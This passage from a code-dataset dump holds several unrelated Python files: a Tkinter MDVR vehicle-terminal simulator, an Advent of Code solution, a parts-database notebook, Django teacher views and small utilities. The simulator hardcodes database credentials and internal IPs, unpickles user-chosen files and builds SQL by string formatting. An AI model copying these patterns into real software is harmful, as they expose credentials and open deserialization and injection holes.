justify=CENTER, textvariable=self._var)\n self.entry.grid(row=row, column=1, sticky=W)\n self.entry.bind('', self._record)\n self.entry.bind('', self._len_limit)\n\n def _len_limit(self, ev=None):\n if isinstance(self._var, StringVar):\n if len(self._var.get()) > self.length:\n self._var.set(self._tmp)\n else:\n try:\n if self._var.get() > self.maxnum:\n self._var.set(self.maxnum)\n elif self._var.get() < self.minnum:\n self._var.set(self.minnum)\n else:\n self._var.set(self._var.get())\n except TclError:\n if ev.widget.get() == '':\n self._var.set(0)\n else:\n self._var.set(self._tmp)\n\n def _record(self, ev=None):\n try:\n tmp = self._var.get()\n except TclError:\n pass\n else:\n if isinstance(self._var, StringVar):\n self._tmp = tmp if len(tmp) <= self.length else self._tmp\n else:\n self._tmp = tmp if tmp <= self.maxnum or tmp >= self.minnum else self._tmp\n\n @property\n def value(self):\n return self._var.get()\n\n @value.setter\n def value(self, value):\n self._var.set(value)\n\n\nclass Backup:\n def save(self, f):\n a = {}\n for i, j in self.__dict__.items():\n if isinstance(j, InputWithTips):\n a[i] = j.value\n pickle.dump(a, f)\n\n def load(self, f):\n a = pickle.load(f)\n for i, j in self.__dict__.items():\n if isinstance(j, InputWithTips):\n j.value = a[i]\n\n\nclass MdvrInfo(Frame, Backup):\n def __init__(self, master=None):\n super().__init__(master=master, bd=3, relief='ridge')\n self.ip = InputWithTips(self, '数据接入IP', length=15, types=StringVar, row=0)\n self.port = InputWithTips(self, '数据接入端口号', length=5, types=IntVar, row=1, maxnum=65535)\n self.phone_num = InputWithTips(self, '电话号码', length=12, types=IntVar, row=2, maxnum=999999999999)\n self.plate = InputWithTips(self, '车辆标识(车牌号)', length=20, types=StringVar, row=3)\n self.authentication_code = InputWithTips(self, '鉴权码', length=20, types=StringVar, row=4)\n self.province_id = InputWithTips(self, '省域ID', length=5, types=IntVar, row=5, maxnum=65535)\n self.city_id = InputWithTips(self, '市县域ID', length=5, types=IntVar, row=6, maxnum=65535)\n self.manufacturer_id = InputWithTips(self, '制造商ID', length=5, types=StringVar, row=7)\n self.terminal_type = InputWithTips(self, '终端型号', length=20, types=StringVar, row=8)\n self.terminal_id = InputWithTips(self, '终端ID', length=7, types=StringVar, row=9)\n self.plate_color = InputWithTips(self, '车牌颜色', length=3, types=IntVar, row=10, maxnum=255)\n\n\nclass GpsInfo(Frame, Backup):\n def __init__(self, master=None):\n super().__init__(master=master, bd=3, relief='ridge')\n self.longitude = InputWithTips(self, '经度', length=11, types=DoubleVar, row=0, maxnum=179.999999,\n minnum=-179.999999)\n self.latitude = InputWithTips(self, '纬度', length=10, types=DoubleVar, row=1, maxnum=89.999999,\n minnum=-89.999999)\n self.height = InputWithTips(self, '高度', length=5, types=IntVar, row=2, maxnum=65535)\n self.speed = InputWithTips(self, '速度', length=6, types=DoubleVar, row=3, maxnum=6553.5)\n self.direction = InputWithTips(self, '方向', length=3, types=IntVar, row=4, maxnum=65535)\n # Checkbutton(text='紧急报警', onvalue=1).pack()\n\n\nclass DatabaseInfo(Frame, Backup):\n def __init__(self, master=None):\n super().__init__(master=master, bd=3, relief='ridge')\n self.ip = InputWithTips(self, '数据库IP', length=15, types=StringVar, row=0)\n self.instance_name = InputWithTips(self, '实例名', length=15, types=StringVar, row=1)\n self.user_name = InputWithTips(self, '用户名', length=15, types=StringVar, row=2)\n self.password = InputWithTips(self, '密码', length=15, types=StringVar, row=3)\n self.password.entry.config(show='*')\n self.camera_count = InputWithTips(self, '摄像头数量', length=2, types=IntVar, row=4, maxnum=8)\n\n\nclass AlarmFlag(Frame):\n def __init__(self, master=None):\n super().__init__(master=master, bd=3, relief='ridge')\n self.alarm_flag = []\n for i in range(13):\n self.alarm_flag.append(IntVar())\n Checkbutton(master=self, variable=self.alarm_flag[0], text='紧急报警', onvalue=1 + 0, offvalue=0).pack(anchor=W)\n Checkbutton(master=self, variable=self.alarm_flag[1], text='超速报警', onvalue=1 + 1, offvalue=0).pack(anchor=W)\n Checkbutton(master=self, variable=self.alarm_flag[2], text='进出区域', onvalue=1 + 20, offvalue=0).pack(anchor=W)\n Checkbutton(master=self, variable=self.alarm_flag[3], text='进出路线', onvalue=1 + 21, offvalue=0).pack(anchor=W)\n Checkbutton(master=self, variable=self.alarm_flag[4], text='路线偏离', onvalue=1 + 23, offvalue=0).pack(anchor=W)\n self.otherAlert = BooleanVar()\n Checkbutton(master=self, variable=self.otherAlert, text='不支持的告警', onvalue=True, offvalue=False).pack(anchor=W)\n Checkbutton(master=self, variable=self.alarm_flag[5], text='GNSS模块发生故障', onvalue=1 + 4, offvalue=0).pack(\n anchor=W)\n Checkbutton(master=self, variable=self.alarm_flag[6], text='GNSS天线未接或被剪掉', onvalue=1 + 5, offvalue=0).pack(\n anchor=W)\n Checkbutton(master=self, variable=self.alarm_flag[7], text='GNSS天线短路', onvalue=1 + 6, offvalue=0).pack(anchor=W)\n Checkbutton(master=self, variable=self.alarm_flag[8], text='终端主电源欠压', onvalue=1 + 7, offvalue=0).pack(anchor=W)\n Checkbutton(master=self, variable=self.alarm_flag[9], text='终端主电源掉电', onvalue=1 + 8, offvalue=0).pack(anchor=W)\n Checkbutton(master=self, variable=self.alarm_flag[10], text='终端LED或显示器故障', onvalue=1 + 9, offvalue=0).pack(\n anchor=W)\n Checkbutton(master=self, variable=self.alarm_flag[11], text='TTS模块故障', onvalue=1 + 10, offvalue=0).pack(\n anchor=W)\n Checkbutton(master=self, variable=self.alarm_flag[12], text='摄像头故障', onvalue=1 + 11, offvalue=0).pack(anchor=W)\n\n def get_list(self):\n result = [0 for _ in range(32)]\n for i in self.alarm_flag:\n if i.get() != 0:\n result[i.get() - 1] = 1\n if self.otherAlert.get():\n result[2] = 1\n result[13] = 1\n result[14] = 1\n result[26] = 1\n result[29] = 1\n result[30] = 1\n result[3] = 1\n result[22] = 1\n result[27] = 1\n result[28] = 1\n return result\n\n\ndef tc(func):\n def t(*args, **kwargs):\n try:\n func(*args, **kwargs)\n except Exception as e:\n\n showerror('ERROR', '操作失败\\n%s' % traceback.format_exc())\n\n return t\n\n\nclass GuiMdvr(object):\n def __init__(self):\n left = Frame()\n middle = Frame()\n right = Frame()\n self.mdvr_info = MdvrInfo(left)\n self.mdvr_info.pack(padx=10, pady=10)\n self.gps_info = GpsInfo(left)\n self.gps_info.pack(padx=10, pady=10)\n self.alarm_flag = AlarmFlag(middle)\n self.alarm_flag.pack(padx=10, pady=10)\n Button(right, text='连接', command=self._on_connect).pack()\n Button(right, text='注册', command=self._on_regiser).pack()\n Button(right, text='鉴权', command=self._on_auth).pack()\n # Button(right, text='设置GPS', command=self._on_set_gps).pack()\n Button(right, text='发送GPS', command=self._on_send_gps).pack()\n Button(right, text='停止', command=self._on_stop).pack()\n Label(right).pack()\n Button(right, text='导出配置', command=self._on_save).pack()\n Button(right, text='导入配置', command=self._on_load).pack()\n if oracle_exist:\n self.database_info = DatabaseInfo(right)\n self.database_info.pack(padx=10, pady=10)\n Button(right, text='插入报警视频', command=self._insert_alarm_video_to_database).pack()\n left.pack(side=LEFT, anchor=N)\n middle.pack(side=LEFT, anchor=N)\n right.pack(side=TOP, padx=10, pady=10, anchor=N)\n self.mdvr_info.ip.value = '172.16.50.98'\n self.mdvr_info.port.value = 9876\n self.mdvr_info.phone_num.value = random.randint(10000000000, 99999999999)\n self.mdvr_info.plate.value = 'TS-TS1001'\n self.mdvr_info.authentication_code.value = '99999act0001'\n self.mdvr_info.manufacturer_id.value = '99999'\n self.mdvr_info.terminal_id.value = 'BC01001'\n if oracle_exist:\n self.database_info.ip.value = '172.16.80.20'\n self.database_info.instance_name.value = 'PTMS'\n self.database_info.user_name.value = 'ptms'\n self.database_info.password.value = 'oracle'\n self.database_info.camera_count.value = 4\n\n def _on_connect(self):\n self.m = mdvr.MDVR(phone_num=self.mdvr_info.phone_num.value,\n province_id=self.mdvr_info.province_id.value,\n city_id=self.mdvr_info.city_id.value,\n manufacturer_id=self.mdvr_info.manufacturer_id.value,\n terminal_type=self.mdvr_info.terminal_type.value,\n terminal_id=self.mdvr_info.terminal_id.value,\n plate_color=self.mdvr_info.plate_color.value,\n plate=self.mdvr_info.plate.value,\n authentication_code=self.mdvr_info.authentication_code.value,\n ip=self.mdvr_info.ip.value,\n port=self.mdvr_info.port.value,\n gps=mdvr.GPS(longitude=self.gps_info.longitude.value,\n latitude=self.gps_info.latitude.value,\n height=self.gps_info.height.value,\n speed=int(10 * self.gps_info.speed.value),\n direction=self.gps_info.direction.value,\n ),\n )\n if self.m.connect() == -1:\n showerror('ERROR', 'Connect fail!!! ')\n\n @tc\n def _on_auth(self):\n self.m.send_terminal_authentication()\n if self.m.receive()[0] == 0:\n r = threading.Thread(target=self._receive_loop)\n r.setDaemon(True)\n r.start()\n h = threading.Thread(target=self._heart_beat_loop)\n h.setDaemon(True)\n h.start()\n else:\n showerror('', '鉴权失败')\n\n @tc\n def _on_save(self):\n f = asksaveasfile('wb', filetypes=[('模拟器参数配置文件', '*.sxc'), ('全部', '*')], defaultextension='sxc')\n if f:\n self.mdvr_info.save(f)\n self.gps_info.save(f)\n if oracle_exist:\n self.database_info.save(f)\n f.close()\n\n @tc\n def _on_load(self):\n f = askopenfile('rb', filetypes=[('模拟器参数配置文件', '*.sxc'), ('全部', '*')])\n if f:\n self.mdvr_info.load(f)\n self.gps_info.load(f)\n if oracle_exist:\n self.database_info.load(f)\n f.close()\n\n def _receive_loop(self):\n while True:\n try:\n self.m.receive()\n except OSError:\n break\n logging.info('receive loop closed')\n\n def _heart_beat_loop(self):\n while True:\n time.sleep(60)\n try:\n self.m.send_heart_beat()\n except OSError:\n break\n logging.info('heart beat loop closed')\n\n def _on_set_gps(self):\n self.m.set_gps(mdvr.GPS(longitude=self.gps_info.longitude.value,\n latitude=self.gps_info.latitude.value,\n height=self.gps_info.height.value,\n speed=int(10 * self.gps_info.speed.value),\n direction=self.gps_info.direction.value,\n )\n )\n\n @tc\n def _on_send_gps(self):\n self.m.set_gps(mdvr.GPS(longitude=self.gps_info.longitude.value,\n latitude=self.gps_info.latitude.value,\n height=self.gps_info.height.value,\n speed=int(10 * self.gps_info.speed.value),\n direction=self.gps_info.direction.value,\n )\n )\n self.m.alarm_flag = self.alarm_flag.get_list()\n self.m.send_location_information()\n\n @tc\n def _on_stop(self):\n self.m.close()\n\n @tc\n def _on_regiser(self):\n # print(self.m.plate)\n self.m.send_register()\n if self.m.receive()[0] == 0:\n # if self.heart_beated is False:\n # h = threading.Thread(target=self._heart_beat_loop)\n # h.setDaemon(True)\n # h.start()\n # self.heart_beated = True\n pass\n else:\n showerror('', '注册失败')\n\n @tc\n def _insert_alarm_video_to_database(self):\n conn = cx_Oracle.connect('%s/%s@%s/%s' % (\n self.database_info.user_name.value, self.database_info.password.value, self.database_info.ip.value,\n self.database_info.instance_name.value)\n )\n cursor = conn.cursor()\n cursor.execute('''select video_url, video_size from MDI_ALARM_VIDEO''')\n video_url = cursor.fetchone()[0]\n for i in range(self.database_info.camera_count.value):\n cursor.execute('''insert into MDI_ALARM_VIDEO\n (uuid, mdvr_core_sn, channel_id, stream_id, start_time, end_time, video_url, video_size)\n values('%s', '%s', %d, 2, to_date('%s','yyyymmddhh24miss'), to_date('%s','yyyymmddhh24miss'), '%s', 2000000)''' % (\n uuid1(), self.m.authentication_code, i, time.strftime('%Y%m%d%H%M%S'), time.strftime('%Y%m%d%H%M%S'),\n video_url))\n conn.commit()\n conn.close()\n showinfo(message='插入%d路报警视频成功' % self.database_info.camera_count.value)\n\n\nif __name__ == '__main__':\n logging.basicConfig(level=logging.INFO,\n format='%(asctime)s %(levelname)s: %(message)s ')\n GuiMdvr()\n mainloop()\n","sub_path":"guiMDVR.py","file_name":"guiMDVR.py","file_ext":"py","file_size_in_byte":15781,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"69267394","text":"import re\nfrom collections import defaultdict\n\n\ndef calibrate(molecule, replacements):\n for atom, isotopes in replacements.items():\n for r in re.finditer(atom, molecule):\n a, b = r.span(0)\n for isotope in isotopes:\n yield molecule[:a] + isotope + molecule[b:]\n\n\ndef read_instructions(file):\n with open(file) as f:\n data = f.readlines()\n\n molecule = data[-1].strip()\n\n replacements = defaultdict(list)\n for repl in data[:-2]:\n a, b = repl.split(' => ')\n replacements[a].append(b.strip())\n\n result = set(calibrate(molecule, replacements))\n print(len(result))\n\n\nread_instructions('inputs/day_19.txt')\n\n\ndef fabricate():\n with open('inputs/day_19.txt') as f:\n data = f.readlines()\n\n molecule = data[-1].strip()\n repl = []\n for x in data[:-2]:\n a, b = x.split(' => ')\n repl.append((b.strip(), a))\n\n steps = 0\n target = molecule\n while target != 'e':\n for a, b in repl:\n if a not in target:\n continue\n target = target.replace(a, b, 1)\n steps += 1\n return steps\n\nprint(fabricate())\n","sub_path":"day_19.py","file_name":"day_19.py","file_ext":"py","file_size_in_byte":1161,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"598506811","text":"\r\n# coding: utf-8\r\n\r\n# # Trying a class approach\r\n\r\n# In[28]:\r\n\r\nclass partinfo():\r\n def __init__(self,PartNum=None,Desc=None,x=None,y=None,count=None):\r\n self.PartNum=PartNum\r\n self.Desc= Desc\r\n self.x=x\r\n self.y=y\r\n self.count=count\r\n \r\n \r\n\r\n\r\n# In[29]:\r\n\r\nclass System(object):\r\n def __init__(self,part):\r\n self.part=part\r\n\r\n\r\n# In[30]:\r\n\r\nvalve001=partinfo('001-001','Valve',0,0,1)\r\nvalve002=partinfo('001-002','Valve',0,1,1)\r\nvalve003=partinfo('001-003','Valve',0,1,2)\r\nvalve004=partinfo('001-004','Valve',0,2,4)\r\n\r\n\r\n\r\n\r\n\r\n# # Moving to a database solution\r\n# \r\n# Use dataset to help with DB\r\n# https://dataset.readthedocs.org/en/latest/api.html\r\n# \r\n# Use stuf just to make the dict format easier\r\n\r\n# In[35]:\r\n\r\n#Open a database\r\nimport dataset\r\nfrom stuf import stuf\r\ndb=dataset.connect('sqlite:///parts.db', row_type=stuf)\r\n\r\n#open / create table\r\ntable = db['parts']\r\n\r\n\r\n\r\n# In[28]:\r\n\r\n#create entries as necessary\r\n\r\nif False:\r\n table.insert(dict(Desc='Valve', x=0, partnum='001-001', y=0, count=4))\r\n table.insert(dict(Desc='Switch', x=0, partnum='001-002', y=1, count=3))\r\n table.insert(dict(Desc='Connector', x=3, partnum='001-003', y=2, count=4))\r\n table.insert(dict(Desc='Connector', x=3, partnum='001-004', y=3, count=4))\r\n\r\n\r\n# # Try working with tables\r\n\r\n# In[3]:\r\n\r\n#\r\nprint(db.tables)\r\nprint(db['parts'].columns)\r\n\r\n#print(len(db['parts']))\r\n\r\nfuelsystem = db['parts']\r\nfor eachpart in fuelsystem:\r\n print(eachpart)\r\n\r\n\r\n# In[4]:\r\n\r\nvalves = fuelsystem.find(Desc='Valve')\r\n\r\nfor eachvalve in valves:\r\n print(eachvalve)\r\n\r\nConnectors = fuelsystem.find(Desc='Connector')\r\n\r\nfor eachConnector in Connectors:\r\n print(eachConnector)\r\n\r\n \r\n\r\n\r\n# In[5]:\r\n\r\ntable = db.tables\r\n\r\nfor each in table:\r\n print(each)\r\n rows= (db.load_table(each).all())\r\n for each_row in rows:\r\n print(each_row)\r\n\r\n\r\n# In[42]:\r\n\r\nsystem = db['system']\r\nparts = db['parts']\r\n\r\nFuel_System= system.all()\r\n\r\nfor eachpart in Fuel_System:\r\n part = parts.find_one(id=eachpart.part)\r\n print(\"{:10s}\".format(part.Desc),end=\" \")\r\n print(part.partnum,end=\" \")\r\n print(\"Failures = {:04d}\".format(part.count))\r\n\r\n\r\n# ## This looks like a true solution\r\n\r\n# Use stuf on a dict allows it to work like class atributes.\r\n# So test['red'] becomes test.red\r\n# \r\n# easier? I don't know, but I like it.\r\n\r\n# In[6]:\r\n\r\n#As dict\r\ntest = {'red':1}\r\n\r\nprint(\"As a dict object red = {}\".format(test['red']))\r\n\r\n#as Stuf\r\ntest1 = stuf(test)\r\n\r\nprint(\"As a stuf object red = {}\".format(test1.red))\r\n\r\ntest1.lookout = 5\r\n\r\nprint(\"Create a new entry lookout = \",end=\"\")\r\nprint(test1.lookout)\r\n\r\ntest1.lookout = 4\r\n\r\nprint(\"Modify the entry lookout = \",end=\"\")\r\nprint(test1.lookout)\r\n\r\n\r\n","sub_path":"Untitled Folder/Parts DB.py","file_name":"Parts DB.py","file_ext":"py","file_size_in_byte":2767,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"458922415","text":"from django.shortcuts import render,redirect\nfrom blog.web_views_private import check\nfrom blog.models import * \nfrom teachers.tools import * \nfrom django.utils import timezone\nimport datetime\n\n\n\n# Create your views here.\ndef home(request):\n _,num = check(request)\n if num == 1:\n return redirect('teacher:teclass')\n else:\n return redirect('home')\n\ndef edit_class(request):\n Me,num = check(request)\n if num != 1:\n return redirect('home')\n if request.method != 'POST':\n if (Me.classes_set.all()):\n classes=Me.classes_set.all()\n data = {\"classes\":classes,\"all\":False}\n return render(request,'teachers/class.html',data)\n return render(request,'teachers/class.html')\n elif request.POST[\"type\"] == \"my\" :\n if (Me.classes_set.all()):\n classes=Me.classes_set.all()\n data = {\"classes\":classes,\"all\":False}\n return render(request,'teachers/class.html',data)\n return render(request,'teachers/class.html')\n elif request.POST[\"join\"] !=\"\":\n c = Classes.objects.filter(id = int(request.POST[\"join\"]))\n if(c.filter(teachers=Me).exists()):\n result = \"すでに参加済みのクラスです\"\n else: \n c[0].teachers.add(Me)\n c[0].save() \n result = c[0].class_name+\"に参加しました\"\n base = Base.objects.get(id = Me.use_base)\n if (base.classes_set.all()):\n classes=base.classes_set.all()\n data = {\"classes\":classes,\"all\":True,\"result\":result}\n return render(request,'teachers/class.html',data)\n else:\n base = Base.objects.get(id = Me.use_base)\n if (base.classes_set.all()):\n classes=base.classes_set.all()\n data = {\"classes\":classes,\"all\":True}\n return render(request,'teachers/class.html',data)\n return render(request,'teachers/class.html')\n\n\ndef create_class(request):\n teacher,num = check(request)\n if num != 1:\n return redirect('home')\n elif request.method !=\"POST\":\n return render(request,'teachers/CreateClass.html')\n else:\n base = Base.objects.get(id = teacher.use_base)\n if (base.classes_set.all()):\n classes=base.classes_set.all()\n for tarclass in classes:\n if(tarclass.class_name==request.POST[\"name\"]):\n result =\"すでに存在するクラス名です。\"\n return render(request,'teachers/CreateClass.html',{\"result\":result})\n thisclass=Classes.objects.create(class_name=request.POST[\"name\"],password = request.POST[\"password\"],base=base)\n thisclass.teachers.add(teacher)\n thisclass.save()\n return redirect(\"/teacher/class/\")\n\ndef class_content(request,classid):\n #教師以外はリダイレクト\n teacher,num = check(request)\n if num != 1:\n return redirect('home')\n #ユーザーが使用しているベースにクラスが属しているか確認\n have,thisclass=checkCL(teacher.use_base,classid)\n #クラスが属していた\n if have :\n #クラスに生徒がいる場合\n if (thisclass.students.all()!= None):\n sts = thisclass.students.all()\n data={\"thisclass\":thisclass,\"sts\":sts,\"tags\":tagsstate(thisclass,teacher)}\n return render(request,'teachers/Content.html',data)\n #クラスに生徒がいない場合\n else:\n data={\"thisclass\":thisclass}\n return render(request,'teachers/Content.html',data)\n #クラスが属していない\n else:\n return redirect(\"/teacher/class/\")\n\ndef create_task(request,classid):\n #教師以外はリダイレクト\n teacher,num = check(request)\n if num != 1:\n return redirect('home')\n #ユーザーが使用しているベースにクラスが属しているか確認\n have,thisclass=checkCL(teacher.use_base,classid)\n #クラスが属していた\n if have :\n #メソッドがPOSTでなければタスク作成ページに移動 \n if request.method != \"POST\":\n return render(request,'teachers/TaskCreate.html')\n else:\n task=Tasks.objects.create(name=request.POST[\"name\"],contents=request.POST[\"content\"],tarclass=thisclass)\n task.auther.add(teacher)\n task.save()\n return redirect(\"/teacher/class/\"+str(classid)+\"/task/\"+str(task.id)+\"/\")\n else:\n return redirect(\"/teacher/class/\")\n\n\n\ndef TasksList(request,classid):\n #教師以外はリダイレクト\n teacher,num = check(request)\n if num != 1:\n return redirect('home')\n #ユーザーが使用しているベースにクラスが属しているか確認\n if(not Classes.objects.get(id=classid).teachers.filter(id=teacher.id).exists()):\n return redirect(\"/teacher/class/\")\n have,thisclass=checkCL(teacher.use_base,classid)\n #クラスが属していた\n if have :\n #メソッドがPOSTでなければタスク作成ページに移動 \n if(thisclass.tasks_set.all().filter(auther = teacher).exists()):\n tasks=thisclass.tasks_set.all().filter(auther = teacher)\n data = {\"tasks\":tasks}\n return render(request,'teachers/TaskList.html',data)\n else:\n return render(request,'teachers/TaskList.html')\n else:\n return redirect(\"/teacher/class/\")\n\ndef taskContent(request,classid,taskid):\n teacher,num = check(request)\n if num != 1:\n return redirect('home')\n #ユーザーが使用しているベースにクラスが属しているか確認\n if(not Classes.objects.get(id=classid).teachers.filter(id=teacher.id).exists()):\n return redirect(\"/teacher/class/\")\n have,thisclass=checkCL(teacher.use_base,classid)\n #クラスが属していた\n if have :\n #メソッドがPOSTでなければタスク作成ページに移動\n if request.method == \"POST\":\n if request.POST[\"type\"] == \"students\":\n if request.POST.getlist(\"students\"):\n studentsid=request.POST.getlist(\"students\")\n thistask = Tasks.objects.get(id = taskid)\n day=int(request.POST[\"days\"])\n days=[datetime.timedelta(days=1),datetime.timedelta(days=2),datetime.timedelta(days=3),datetime.timedelta(days=4),datetime.timedelta(days=5),datetime.timedelta(days=6),datetime.timedelta(weeks=1),datetime.timedelta(weeks=2),datetime.timedelta(weeks=4)]\n for studentid in studentsid :\n student = Students.objects.get(id=studentid)\n homework=StudentTasks.objects.create(person=student,limit=timezone.now()+days[day])\n homework.task.add(thistask)\n homework.save()\n return redirect(\"/teacher/class/\")\n if request.POST[\"type\"] == \"change\":\n if(thisclass.tasks_set.all().filter(auther = teacher).exists()):\n tasks=thisclass.tasks_set.all().filter(auther = teacher)\n for task in tasks:\n if(task.id==taskid):\n task.name=request.POST[\"name\"]\n task.contents=request.POST[\"content\"]\n task.save()\n\n if request.POST[\"type\"] == \"addtags\":\n tasks=thisclass.tasks_set.all().filter(auther = teacher)\n for task in tasks:\n if(task.id==taskid):\n if(task.tag.all().exists()):\n nowtags = task.tag.all()\n for tagid in request.POST.getlist(\"tags\"):\n if(nowtags.filter(id=int(tagid)).exists()):\n alert = \"aleady exists\"\n print(alert)\n else:\n task.tag.add(Tags.objects.get(id = int(tagid)))\n task.save()\n else:\n for tagid in request.POST.getlist(\"tags\"):\n task.tag.add(Tags.objects.get(id = int(tagid)))\n task.save()\n if request.POST[\"type\"] == \"delete\":\n tasks=thisclass.tasks_set.all().filter(auther = teacher)\n for task in tasks:\n if(task.id==taskid):\n tagids=request.POST.getlist(\"tags\")\n for tagid in tagids :\n tag = Tags.objects.get(id = int(tagid))\n task.tag.remove(tag)\n task.save()\n if(thisclass.tasks_set.all().filter(auther = teacher).exists()):\n tasks=thisclass.tasks_set.all().filter(auther = teacher)\n for task in tasks:\n if(task.id==taskid):\n sts = thisclass.students.all()\n thistags = None\n tags = None\n if (task.tag.all().exists()):\n thistags = task.tag.all()\n if(Tags.objects.filter(tarclass = thisclass).exists()):\n tags = Tags.objects.filter(tarclass = thisclass)\n data = {\"tags\":tags}\n data={\"task\":task,\"students\":sts,\"tags\":tags,\"thistags\":thistags}\n return render(request,'teachers/TaskContent.html',data)\n else:\n return redirect(\"/teacher/class/\")\n else:\n return redirect(\"/teacher/class/\")\n\ndef edit_tags(request,classid):\n teacher,num = check(request)\n if num != 1:\n return redirect('home')\n have,thisclass=checkCL(teacher.use_base,classid)\n if have : \n if request.method != \"POST\":\n data = {}\n if(Tags.objects.filter(tarclass = thisclass).exists()):\n tags = Tags.objects.filter(tarclass = thisclass)\n data = {\"tags\":tags}\n return render(request,'teachers/tagsEdit.html',data)\n else:\n if request.method == \"POST\":\n alert = None\n tags = None\n if request.POST[\"type\"] == \"delete\":\n tagids=request.POST.getlist(\"tags\")\n for tagid in tagids :\n tag = Tags.objects.get(id = int(tagid))\n tag.delete()\n if request.POST[\"type\"] == \"add\":\n if(Tags.objects.filter(tarclass = thisclass,tag = request.POST[\"name\"]).exists()):\n alert = \"aleady exists\"\n else:\n tag = Tags.objects.create(tag=request.POST[\"name\"],tarclass = thisclass)\n tag.save()\n\n if(Tags.objects.filter(tarclass = thisclass).exists()):\n tags = Tags.objects.filter(tarclass = thisclass)\n data = {\"tags\":tags}\n\n data = {\"tags\":tags,\"alert\":alert}\n return render(request,'teachers/tagsEdit.html',data)\n else:\n return redirect(\"/teacher/class/\")\n\ndef studentContents(request,classid,studentid):\n teacher,num = check(request)\n if num != 1:\n return redirect('home')\n have,thisclass=checkCL(teacher.use_base,classid)\n \n if not have :\n print(0)\n return redirect(\"/teacher/class/\")\n \n cl,st = checkStudent(classid,studentid)\n \n if(cl == None):\n print(1)\n return redirect(\"/teacher/class/\")\n\n data = {\"Homeworks\":st.getHomeworkT(teacher),\"st\":st}\n return render(request,'teachers/studentContents.html',data)\n\ndef schedule(request):\n teacher,num = check(request)\n if num != 1:\n return redirect('home') \n if(not Schedule.objects.filter(person = teacher).exists()):\n sd = Schedule.objects.create(person = teacher)\n sd.save()\n data = {\"hs\":range(24),\"ms\":range(60)}\n return render(request,\"teachers/schedule.html\",data)\n else:\n sd = Schedule.objects.get(person = teacher)\n if(request.method == \"POST\"):\n sd.add(int(request.POST[\"week\"]),int(request.POST[\"sh\"]),int(request.POST[\"sm\"]),int(request.POST[\"eh\"]),int(request.POST[\"em\"]))\n data = {\"schedules\":sd.getScheduleData(),\"hs\":range(24),\"ms\":range(60)}\n return render(request,\"teachers/schedule.html\",data)\n\n\ndef questions(request):\n teacher,num = check(request)\n if num != 1:\n return redirect('home') \n q = teacher.getQuestions()\n data = {\"questions\":q}\n return render(request,\"teachers/questions.html\",data)\n\ndef question(request,id):\n teacher,num = check(request)\n if num != 1:\n return redirect('home') \n if Question.objects.filter(id = id,toTe = teacher).exists():\n q = Question.objects.get(id=id)\n if request.method == \"POST\":\n q.addCommentT(request.POST[\"comment\"])\n data = {\"q\":q,\"Accept\":q.getAccept(),\"Appo\":q.getAppo(),\"Comment\":q.getComment(),\"student\":q.fromSt,\"teacher\":q.toTe}\n return render(request,\"teachers/questionContent.html\",data)\n else:\n return redirect('home') \n\n\n\n\n \n\n \n \n \n \n \n \n\n\n\n \n \n\n\n\n\n \n\n\n\n \n \n \n\n\n\n","sub_path":"teachers/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":13387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"602741971","text":"\n\n#calss header\nclass _COB():\n\tdef __init__(self,): \n\t\tself.name = \"COB\"\n\t\tself.definitions = [u'a strong horse with short legs', u'a male swan', u'a round loaf of bread']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'nouns'\n\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/nouns/_cob.py","file_name":"_cob.py","file_ext":"py","file_size_in_byte":346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"479761908","text":"# Ambreen Chaudhri\n# HW 4 Sorting Algorithm Times for Graphs\n\nimport csv\nimport random\nimport math\nimport time\nimport HW4sort\n\n# recorded time will be average of 100 trials on 90 random lists\n\n# number of elements in each list to range from 10 to 100\nnlo = 10\nnhi = 100\nsort_n = range(nlo, nhi)\n\n# draw 100 random samples (trials)\ntrials = 100\n\n# empty lists for each function to store its times in\nquicksort_times = []\nbubblesort_times = []\n\nrandom_list = random.sample(range(1,11),10)\n\n# Here are the times for quicksort \nfor draw in range(nlo, nhi):\n start = time.clock()\n for attempt in range(trials):\n inputlist = random.sample(range(0,nhi), int(draw))\n HW4sort.quicksort(inputlist)\n end = time.clock()\n quicksort_times.append((end-start)/100)\n\n# Here are the times for bubblesort \nfor draw in range(nlo, nhi):\n start = time.clock()\n for attempt in range(trials):\n inputlist = random.sample(range(0,nhi), int(draw))\n HW4sort.bubblesort(inputlist)\n end = time.clock()\n bubblesort_times.append((end-start)/100)\n\n#Write these times to a csv names times.csv where each time gets its own column\n\nwith open('times.csv', 'wb') as f:\n my_writer = csv.DictWriter(f, fieldnames=(\"n\", \"quicksort\", \"bubblesort\"))\n my_writer.writeheader()\n for i in range(0,len(quicksort_times)):\n my_writer.writerow({\"n\":sort_n[i], \"quicksort\":quicksort_times[i], \"bubblesort\":bubblesort_times[i]})\t\n\n","sub_path":"HW4Times.py","file_name":"HW4Times.py","file_ext":"py","file_size_in_byte":1436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"563978851","text":"#!/usr/bin/env python3\n\n# Partial re-write of the text_plugin made by Minorias\n# to be a lib instead of a plugin\n# This version is much more simpler as it only allows to add text\n# to an image\n\nimport os\nfrom .image import Image\n\nFONT_DIR = os.path.join(os.path.dirname(__file__), '../../fonts/')\n\n\nclass Font:\n def __init__(self, font_file='font', whitespace=1):\n self.font_file = FONT_DIR + font_file + '.txt'\n self.whitespace = whitespace\n self.font = {} # Image array\n self.load_font()\n\n def load_font(self):\n file = open(self.font_file)\n raw_font = file.readlines()\n for i in range(len(raw_font)):\n if '--' in raw_font[i]:\n symbol = raw_font[i][2:].strip('\\n')\n else:\n if symbol not in self.font.keys():\n self.font[symbol] = []\n self.font[symbol].append(\n list(map(int, raw_font[i].strip('\\n')))\n )\n else:\n self.font[symbol].append(\n list(map(int, raw_font[i].strip('\\n')))\n )\n self.font[' '] = [[0] * self.whitespace]\n\n def char(self, char):\n if char not in self.font.keys():\n raise 